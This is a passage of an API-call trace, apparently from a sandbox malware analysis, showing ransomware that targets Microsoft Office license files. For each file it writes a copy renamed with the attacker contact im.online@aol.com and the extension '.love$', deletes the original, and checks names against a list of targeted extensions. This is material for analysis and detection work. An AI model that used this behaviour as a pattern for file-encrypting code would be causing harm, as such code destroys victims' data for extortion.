dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.345] SetEndOfFile (hFile=0x574) returned 1 [0271.351] CloseHandle (hObject=0x574) returned 1 [0271.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1 [0271.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.354] lstrlenW (lpString=".doc") returned 4 [0271.354] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.354] lstrlenW (lpString=".docx") returned 5 [0271.354] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.354] lstrlenW (lpString=".pdf") returned 4 [0271.354] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.354] lstrlenW (lpString=".xls") returned 4 [0271.354] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.354] lstrlenW (lpString=".xlsx") returned 5 [0271.354] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.354] lstrlenW (lpString=".ppt") returned 4 [0271.354] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.355] lstrlenW (lpString=".zip") returned 4 [0271.355] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.355] lstrlenW (lpString=".rar") returned 4 [0271.355] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.355] lstrlenW (lpString=".bz2") returned 4 [0271.355] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.355] lstrlenW (lpString=".7z") returned 3 [0271.355] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.355] lstrlenW (lpString=".dbf") returned 4 [0271.355] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.355] lstrlenW (lpString=".1cd") returned 4 [0271.355] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.355] lstrlenW (lpString=".jpg") returned 4 [0271.355] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.355] lstrlenW (lpString=".doc") returned 4 [0271.355] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.356] lstrlenW (lpString=".docx") returned 5 [0271.356] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.356] lstrlenW (lpString=".pdf") returned 4 [0271.356] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.356] lstrlenW (lpString=".xls") returned 4 [0271.356] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.356] lstrlenW (lpString=".xlsx") returned 5 [0271.356] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.356] lstrlenW (lpString=".ppt") returned 4 [0271.356] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.356] lstrlenW (lpString=".zip") returned 4 [0271.356] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.356] lstrlenW (lpString=".rar") returned 4 [0271.356] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.356] lstrlenW (lpString=".bz2") returned 4 [0271.356] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.356] lstrlenW (lpString=".7z") returned 3 [0271.356] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.356] lstrlenW (lpString=".dbf") returned 4 [0271.356] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.357] lstrlenW (lpString=".1cd") returned 4 [0271.357] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0271.357] lstrlenW (lpString=".jpg") returned 4 [0271.357] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.357] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0271.357] lstrlenW (lpString="MondoR_SubTest-pl.xrm-ms") returned 24 [0271.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0271.359] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11147) returned 1 [0271.359] CloseHandle (hObject=0x574) returned 1 [0271.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220 [0271.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0271.363] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.363] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0271.365] GetLastError () returned 0x0 [0271.365] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2b8b, lpOverlapped=0x0) returned 1 [0271.383] WriteFile (in: hFile=0x57c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2b90, lpOverlapped=0x0) returned 1 [0271.385] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0271.385] WriteFile (in: hFile=0x57c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x104, lpOverlapped=0x0) returned 1 [0271.386] SetEndOfFile (hFile=0x57c) returned 1 [0271.386] CloseHandle (hObject=0x57c) returned 1 [0271.386] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.386] SetEndOfFile (hFile=0x574) returned 1 [0272.574] CloseHandle (hObject=0x574) returned 1 [0272.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1 [0272.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.577] lstrlenW (lpString=".doc") returned 4 [0272.577] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.577] lstrlenW (lpString=".docx") returned 5 [0272.577] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.577] lstrlenW (lpString=".pdf") returned 4 [0272.577] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.577] lstrlenW (lpString=".xls") returned 4 [0272.577] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.577] lstrlenW (lpString=".xlsx") returned 5 [0272.577] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.577] lstrlenW (lpString=".ppt") returned 4 [0272.577] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.577] lstrlenW (lpString=".zip") returned 4 [0272.578] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.578] lstrlenW (lpString=".rar") returned 4 [0272.578] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.578] lstrlenW (lpString=".bz2") returned 4 [0272.578] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.578] lstrlenW (lpString=".7z") returned 3 [0272.578] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.578] lstrlenW (lpString=".dbf") returned 4 [0272.578] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.578] lstrlenW (lpString=".1cd") returned 4 [0272.578] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.578] lstrlenW (lpString=".jpg") returned 4 [0272.578] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.578] lstrlenW (lpString=".doc") returned 4 [0272.578] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.578] lstrlenW (lpString=".docx") returned 5 [0272.578] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.578] lstrlenW (lpString=".pdf") returned 4 [0272.578] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.578] lstrlenW (lpString=".xls") returned 4 [0272.578] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.579] lstrlenW (lpString=".xlsx") returned 5 [0272.579] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.579] lstrlenW (lpString=".ppt") returned 4 [0272.579] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.579] lstrlenW (lpString=".zip") returned 4 [0272.579] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.579] lstrlenW (lpString=".rar") returned 4 [0272.579] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.579] lstrlenW (lpString=".bz2") returned 4 [0272.579] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.579] lstrlenW (lpString=".7z") returned 3 [0272.579] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.579] lstrlenW (lpString=".dbf") returned 4 [0272.579] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.579] lstrlenW (lpString=".1cd") returned 4 [0272.579] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0272.579] lstrlenW (lpString=".jpg") returned 4 [0272.579] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.580] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.580] lstrlenW (lpString="MondoR_SubTrial2-ppd.xrm-ms") returned 27 [0272.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0272.581] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=26526) returned 1 [0272.581] CloseHandle (hObject=0x574) returned 1 [0272.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220 [0272.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0272.582] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.582] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0272.584] GetLastError () returned 0x0 [0272.584] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x679e, lpOverlapped=0x0) returned 1 [0272.587] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x67a0, lpOverlapped=0x0) returned 1 [0272.590] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0272.590] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10a, lpOverlapped=0x0) returned 1 [0272.590] SetEndOfFile (hFile=0x488) returned 1 [0272.591] CloseHandle (hObject=0x488) returned 1 [0272.591] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.591] SetEndOfFile (hFile=0x574) returned 1 [0272.595] CloseHandle (hObject=0x574) returned 1 [0272.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1 [0272.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.598] lstrlenW (lpString=".doc") returned 4 [0272.598] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.598] lstrlenW (lpString=".docx") returned 5 [0272.598] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.598] lstrlenW (lpString=".pdf") returned 4 [0272.598] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.598] lstrlenW (lpString=".xls") returned 4 [0272.598] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.598] lstrlenW (lpString=".xlsx") returned 5 [0272.598] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.599] lstrlenW (lpString=".ppt") returned 4 [0272.599] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.599] lstrlenW (lpString=".zip") returned 4 [0272.599] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.599] lstrlenW (lpString=".rar") returned 4 [0272.599] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.599] lstrlenW (lpString=".bz2") returned 4 [0272.599] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.599] lstrlenW (lpString=".7z") returned 3 [0272.599] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.599] lstrlenW (lpString=".dbf") returned 4 [0272.599] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.614] lstrlenW (lpString=".1cd") returned 4 [0272.614] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.615] lstrlenW (lpString=".jpg") returned 4 [0272.615] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.615] lstrlenW (lpString=".doc") returned 4 [0272.615] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.615] lstrlenW (lpString=".docx") returned 5 [0272.615] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.615] lstrlenW (lpString=".pdf") returned 4 [0272.615] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.615] lstrlenW (lpString=".xls") returned 4 [0272.615] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.615] lstrlenW (lpString=".xlsx") returned 5 [0272.615] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.615] lstrlenW (lpString=".ppt") returned 4 [0272.615] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.615] lstrlenW (lpString=".zip") returned 4 [0272.615] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.615] lstrlenW (lpString=".rar") returned 4 [0272.615] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.615] lstrlenW (lpString=".bz2") returned 4 [0272.615] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.615] lstrlenW (lpString=".7z") returned 3 [0272.615] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.615] lstrlenW (lpString=".dbf") returned 4 [0272.615] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.616] lstrlenW (lpString=".1cd") returned 4 [0272.616] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0272.616] lstrlenW (lpString=".jpg") returned 4 [0272.616] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.616] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.616] lstrlenW (lpString="MondoR_SubTrial2-ul-oob.xrm-ms") returned 30 [0272.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0272.618] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11600) returned 1 [0272.618] CloseHandle (hObject=0x574) returned 1 [0272.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0272.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0272.619] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.619] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0272.621] GetLastError () returned 0x0 [0272.621] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d50, lpOverlapped=0x0) returned 1 [0272.624] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d60, lpOverlapped=0x0) returned 1 [0272.829] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0272.829] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x110, lpOverlapped=0x0) returned 1 [0272.829] SetEndOfFile (hFile=0x488) returned 1 [0272.829] CloseHandle (hObject=0x488) returned 1 [0272.829] SetFilePointerEx (in: 